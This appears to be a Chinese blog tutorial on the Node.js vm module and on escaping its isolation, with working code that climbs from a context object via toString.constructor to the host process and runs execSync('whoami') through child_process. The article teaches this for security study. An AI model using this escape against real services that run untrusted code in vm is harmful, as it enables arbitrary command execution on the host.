Nodejs沙箱逃逸

Nodejs沙箱逃逸

沙箱是什么?

沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。

经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。

VM模块

VM模块是NodeJs内置的一个模块,在一定程度上,它只是一个隔离环境,并不是一个沙箱。

VM模块是NodeJS里面的核心模块,支撑了require方法和NodeJS的运行机制。

VM包含了三个常用的方法,来用于创建独立运行的沙箱体制。

vm.runInThisContext(code, filename)

1)此方法用于创建一个独立的沙箱运行空间,code内的代码可以访问外部的global对象,但是不能访问其他变量。code内部global与外部共享。

var vm = require("vm");

var p = 5;
global.p = 11;

vm.runInThisContext("console.log('ok', p)");// 显示global下的11
vm.runInThisContext("console.log(global)"); // 显示global

console.log(p);// 显示5
vm.runInContext(code, sandBox);

2)此方法用于创建一个独立的沙箱运行空间,sandBox将做为global的变量传入code内,但是不存在global变量,sandBox要求的是vm.createContext()方法创建的sandBox。

var vm = require("vm");
var util = require("util");

var window = {
p: 2,
vm: vm,
console: console,
require: require
};

var p = 5;

global.p = 11;

vm.createContext(window);
vm.runInContext('p = 3;console.log(typeof global);', window); // global是undefined

console.log(window.p);// 被改变为3

console.log(util.inspect(window));
vm.runInNewContext(code, sandbox, opt);

3)这个方法与runInContext一样,但是少了创建sandBox的步骤

沙箱逃逸

先试一下一个小实验

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

执行m+n表达式

在这里插入图片描述

可以看到这个隔离环境是很容易绕过并执行的。

这个环境里有三个对象

this 指向传给vm.createContext的那个对象 
m 等于数字1 
n 等于数字2

我们可以利用外部传入的对象来绕过这个隔离环境。例如利用this来引入当前上下文里没有的模块

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()

第一行的this.toString可以获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后执行,就可以获得process对象了。

而第二行,就是利用前面获取的process对象来干任何事情。

那么,就有人说了,为什么不直接使用{}.toString.constructor(‘return process’)(),这样岂不是更直接了当?

this与{}的一个区别就是,{}是在沙箱里的一个对象,而this是在沙箱外的对象。

那么m和n也是沙箱外的对象,为什么不能用m.toString.constructor(‘return process’)()呢?

因为数字,字符串,布尔等类型都是primitive types,它们传递的只是一个值,并不是一个引用。所以使用后的m与外部的m是不一样的。

所以,修改成context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(
	`(e => {
		const process = x.toString.constructor('return process')()
		return process.mainModule.require('child_process').execSync('whoami').toString()
	})()`
	);
const sandbox = {m:[], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res)

所以,我们在沙箱内部找到一个沙箱外的对象,并借助这个对象的属性来获取沙箱外的函数,以此来绕过沙箱。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值